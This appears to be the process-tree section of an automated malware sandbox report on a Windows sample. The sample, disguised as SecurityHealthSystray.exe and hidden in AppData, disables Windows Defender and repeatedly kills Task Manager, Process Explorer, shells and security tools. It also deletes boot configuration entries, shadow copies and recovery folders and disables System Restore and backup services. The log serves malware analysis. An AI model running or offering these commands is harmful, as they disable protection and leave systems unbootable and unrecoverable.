    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=fr --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5328,i,18326830216242650084,11992113376661443916,524288 --field-trial-handle=2332,i,7204397682713391226,432353178778638765,262144 --variations-seed-version --mojo-platform-channel-handle=5300 /prefetch:14
    3⤵
    PID:3432
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=fr --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5332,i,17552081329188876236,14582151917926065884,524288 --field-trial-handle=2332,i,7204397682713391226,432353178778638765,262144 --variations-seed-version --mojo-platform-channel-handle=5320 /prefetch:14
    3⤵
    PID:976
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=fr --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6236,i,10731074344059724513,12315725401575021918,524288 --field-trial-handle=2332,i,7204397682713391226,432353178778638765,262144 --variations-seed-version --mojo-platform-channel-handle=6248 /prefetch:14
    3⤵
    PID:4936
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=fr --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6240,i,17119416820588190743,16151789271837073754,524288 --field-trial-handle=2332,i,7204397682713391226,432353178778638765,262144 --variations-seed-version --mojo-platform-channel-handle=6304 /prefetch:14
    3⤵
    PID:564
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=fr --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6244,i,5763866774831663916,6241530105039322551,524288 --field-trial-handle=2332,i,7204397682713391226,432353178778638765,262144 --variations-seed-version --mojo-platform-channel-handle=6324 /prefetch:14
    3⤵
    PID:680
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=fr --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6348,i,13854798449482985509,12143730693160842455,524288 --field-trial-handle=2332,i,7204397682713391226,432353178778638765,262144 --variations-seed-version --mojo-platform-channel-handle=6424 /prefetch:14
    3⤵
    PID:4532
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
      cookie_exporter.exe --cookie-json=1128
      4⤵
      PID:5968
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=fr --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6432,i,7230459839749816627,4797674774250194094,524288 --field-trial-handle=2332,i,7204397682713391226,432353178778638765,262144 --variations-seed-version --mojo-platform-channel-handle=6544 /prefetch:14
    3⤵
    PID:4392
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=fr --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6432,i,7230459839749816627,4797674774250194094,524288 --field-trial-handle=2332,i,7204397682713391226,432353178778638765,262144 --variations-seed-version --mojo-platform-channel-handle=6544 /prefetch:14
    3⤵
    PID:236
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=fr --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6328,i,7624738432068923818,18375151643465999320,524288 --field-trial-handle=2332,i,7204397682713391226,432353178778638765,262144 --variations-seed-version --mojo-platform-channel-handle=6336 /prefetch:14
    3⤵
    PID:2956
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\system /v noTm /t reg_dword /d 1 /f
  2⤵
  PID:4948
- - C:\Windows\system32\reg.exe
    REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\system /v noTm /t reg_dword /d 1 /f
    3⤵
    - Modifies registry key
    PID:4816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  PID:3884
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    PID:4436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM taskmgr.exe >nul 2>&1
  2⤵
  PID:3360
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:5292
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\music67_final.html
  2⤵
  PID:2620
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
  2⤵
  PID:5784
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
    3⤵
    PID:5132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
  2⤵
  PID:2524
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
    3⤵
    PID:5108
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM ProcessHacker.exe >nul 2>&1
  2⤵
  PID:3576
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM ProcessHacker.exe
    3⤵
    - Kills process with taskkill
    PID:1216
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
  2⤵
  PID:4996
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
    3⤵
    PID:4272
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
  2⤵
  PID:4496
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
    3⤵
    PID:312
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM procexp.exe >nul 2>&1
  2⤵
  PID:2624
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM procexp.exe
    3⤵
    - Kills process with taskkill
    PID:1336
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:2476
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
    3⤵
    PID:4172
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM procexp64.exe >nul 2>&1
  2⤵
  PID:1664
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM procexp64.exe
    3⤵
    - Kills process with taskkill
    PID:3312
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SystemSettings.exe 2>nul
  2⤵
  PID:5620
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SystemSettings.exe
    3⤵
    - Kills process with taskkill
    PID:772
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM cmd.exe >nul 2>&1
  2⤵
  PID:2388
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM cmd.exe
    3⤵
    - Kills process with taskkill
    PID:4648
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM powershell.exe >nul 2>&1
  2⤵
  PID:492
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM powershell.exe
    3⤵
    - Kills process with taskkill
    PID:5672
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecurityHealthService.exe 2>nul
  2⤵
  PID:1660
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecurityHealthService.exe
    3⤵
    - Kills process with taskkill
    PID:4212
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM taskmgr.exe >nul 2>&1
  2⤵
  PID:5916
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:4244
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecHealthUI.exe 2>nul
  2⤵
  PID:4648
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecHealthUI.exe
    3⤵
    - Kills process with taskkill
    PID:3148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM ProcessHacker.exe >nul 2>&1
  2⤵
  PID:5952
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM ProcessHacker.exe
    3⤵
    - Kills process with taskkill
    PID:2948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SystemSettings.exe 2>nul
  2⤵
  PID:1904
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SystemSettings.exe
    3⤵
    - Kills process with taskkill
    PID:5208
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM procexp.exe >nul 2>&1
  2⤵
  PID:1312
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM procexp.exe
    3⤵
    - Kills process with taskkill
    PID:5164
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecurityHealthService.exe 2>nul
  2⤵
  PID:5076
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecurityHealthService.exe
    3⤵
    - Kills process with taskkill
    PID:4824
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM procexp64.exe >nul 2>&1
  2⤵
  PID:5864
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM procexp64.exe
    3⤵
    - Kills process with taskkill
    PID:5948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecHealthUI.exe 2>nul
  2⤵
  PID:5296
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecHealthUI.exe
    3⤵
    - Kills process with taskkill
    PID:3188
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM cmd.exe >nul 2>&1
  2⤵
  PID:2252
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM cmd.exe
    3⤵
    - Kills process with taskkill
    PID:4936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SystemSettings.exe 2>nul
  2⤵
  PID:4624
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SystemSettings.exe
    3⤵
    - Kills process with taskkill
    PID:3992
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM powershell.exe >nul 2>&1
  2⤵
  PID:5912
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM powershell.exe
    3⤵
    - Kills process with taskkill
    PID:1052
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecurityHealthService.exe 2>nul
  2⤵
  PID:2128
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecurityHealthService.exe
    3⤵
    - Kills process with taskkill
    PID:5132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM taskmgr.exe >nul 2>&1
  2⤵
  PID:3808
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:1636
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM ProcessHacker.exe >nul 2>&1
  2⤵
  PID:3188
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM ProcessHacker.exe
    3⤵
    - Kills process with taskkill
    PID:5812
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecHealthUI.exe 2>nul
  2⤵
  PID:6124
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecHealthUI.exe
    3⤵
    - Kills process with taskkill
    PID:5956
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM procexp.exe >nul 2>&1
  2⤵
  PID:4916
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM procexp.exe
    3⤵
    - Kills process with taskkill
    PID:2844
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM procexp64.exe >nul 2>&1
  2⤵
  PID:2420
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM procexp64.exe
    3⤵
    - Kills process with taskkill
    PID:1404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM cmd.exe >nul 2>&1
  2⤵
  PID:1160
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM cmd.exe
    3⤵
    - Kills process with taskkill
    PID:5420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SystemSettings.exe 2>nul
  2⤵
  PID:548
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SystemSettings.exe
    3⤵
    - Kills process with taskkill
    PID:5000
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM powershell.exe >nul 2>&1
  2⤵
  PID:5788
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM powershell.exe
    3⤵
    - Kills process with taskkill
    PID:4028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecurityHealthService.exe 2>nul
  2⤵
  PID:1284
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecurityHealthService.exe
    3⤵
    - Kills process with taskkill
    PID:2608
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM taskmgr.exe >nul 2>&1
  2⤵
  PID:2492
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:5972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecHealthUI.exe 2>nul
  2⤵
  PID:3520
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecHealthUI.exe
    3⤵
    - Kills process with taskkill
    PID:5584
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM ProcessHacker.exe >nul 2>&1
  2⤵
  PID:4828
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM ProcessHacker.exe
    3⤵
    - Kills process with taskkill
    PID:1888
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SystemSettings.exe 2>nul
  2⤵
  PID:4500
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SystemSettings.exe
    3⤵
    - Kills process with taskkill
    PID:5132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM procexp.exe >nul 2>&1
  2⤵
  PID:480
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM procexp.exe
    3⤵
    - Kills process with taskkill
    PID:2776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecurityHealthService.exe 2>nul
  2⤵
  PID:3524
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecurityHealthService.exe
    3⤵
    - Kills process with taskkill
    PID:4288
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM procexp64.exe >nul 2>&1
  2⤵
  PID:2608
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM procexp64.exe
    3⤵
    - Kills process with taskkill
    PID:3548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecHealthUI.exe 2>nul
  2⤵
  PID:176
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecHealthUI.exe
    3⤵
    - Kills process with taskkill
    PID:5188
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM cmd.exe >nul 2>&1
  2⤵
  PID:4936
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM cmd.exe
    3⤵
    - Kills process with taskkill
    PID:1716
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SystemSettings.exe 2>nul
  2⤵
  PID:5408
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SystemSettings.exe
    3⤵
    - Kills process with taskkill
    PID:5080
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM powershell.exe >nul 2>&1
  2⤵
  PID:4296
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM powershell.exe
    3⤵
    - Kills process with taskkill
    PID:1136
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecurityHealthService.exe 2>nul
  2⤵
  PID:4020
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecurityHealthService.exe
    3⤵
    - Kills process with taskkill
    PID:1576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecHealthUI.exe 2>nul
  2⤵
  PID:1772
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecHealthUI.exe
    3⤵
    - Kills process with taskkill
    PID:1892
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM taskmgr.exe >nul 2>&1
  2⤵
  PID:3852
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:1576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SystemSettings.exe 2>nul
  2⤵
  PID:5316
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SystemSettings.exe
    3⤵
    - Kills process with taskkill
    PID:1464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM ProcessHacker.exe >nul 2>&1
  2⤵
  PID:6112
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM ProcessHacker.exe
    3⤵
    - Kills process with taskkill
    PID:5808
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM procexp.exe >nul 2>&1
  2⤵
  PID:1548
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM procexp.exe
    3⤵
    - Kills process with taskkill
    PID:920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecurityHealthService.exe 2>nul
  2⤵
  PID:392
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecurityHealthService.exe
    3⤵
    - Kills process with taskkill
    PID:5328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /F /IM procexp64.exe >nul 2>&1
  2⤵
  PID:4804

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:5336

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004B8 0x00000000000004D4
1⤵
PID:5368

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:800

C:\Windows\explorer.exe
explorer.exe ,"C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe"
1⤵
PID:1752

C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
1⤵
PID:5908
- C:\Windows\system32\attrib.exe
  attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe"
  2⤵
  - Views/modifies file attributes
  PID:3328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  PID:4576
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3856
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:5576
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {default} /f
  2⤵
  PID:1512
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {default} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4560
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {bootmgr} /f
  2⤵
  PID:3244
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {bootmgr} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5012
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {current} /f
  2⤵
  PID:5760
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {memdiag} /f
  2⤵
  PID:5404
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {memdiag} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1216
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} advancedoptions false
  2⤵
  PID:2260
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} advancedoptions false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2128
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} optionsedit false
  2⤵
  PID:3504
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} optionsedit false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4208
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable
  2⤵
  PID:1996
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    PID:5944
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic shadowcopy delete /nointeractive
  2⤵
  PID:2512
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete /nointeractive
    3⤵
    PID:5948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  PID:1872
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable 2>nul
  2⤵
  PID:4816
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    PID:5032
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Recovery" 2>nul
  2⤵
  PID:4804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "%SystemDrive%\Recovery" 2>nul
  2⤵
  PID:976
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet 2>nul
  2⤵
  PID:4556
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5080
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic shadowcopy delete /nointeractive 2>nul
  2⤵
  PID:3512
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete /nointeractive
    3⤵
    PID:1576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:5884
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
    3⤵
    PID:5972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:2644
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
    3⤵
    PID:4028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:1052
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
    3⤵
    PID:3432
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Windows\System32\Recovery" 2>nul
  2⤵
  PID:5132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "wbengine" start= disabled 2>nul
  2⤵
  PID:1108
- - C:\Windows\system32\sc.exe
    sc config "wbengine" start= disabled
    3⤵
    - Launches sc.exe
    PID:5856
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "wbengine" 2>nul
  2⤵
  PID:2104
- - C:\Windows\system32\sc.exe
    sc stop "wbengine"
    3⤵
    - Launches sc.exe
    PID:644
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "%SystemRoot%\System32\ResetEngine.exe" 2>nul
  2⤵
  PID:5288
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "%SystemRoot%\System32\pbr.exe" 2>nul
  2⤵
  PID:212
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "%SystemRoot%\System32\recenv.exe" 2>nul
  2⤵
  PID:420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "wbengine" 2>nul
  2⤵
  PID:1716
- - C:\Windows\system32\sc.exe
    sc stop "wbengine"
    3⤵
    - Launches sc.exe
    PID:5292
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "wbengine" start= disabled 2>nul
  2⤵
  PID:1888
- - C:\Windows\system32\sc.exe
    sc config "wbengine" start= disabled
    3⤵
    - Launches sc.exe
    PID:5940
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "SDRSVC" 2>nul
  2⤵
  PID:3664

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:1440

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:5944

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

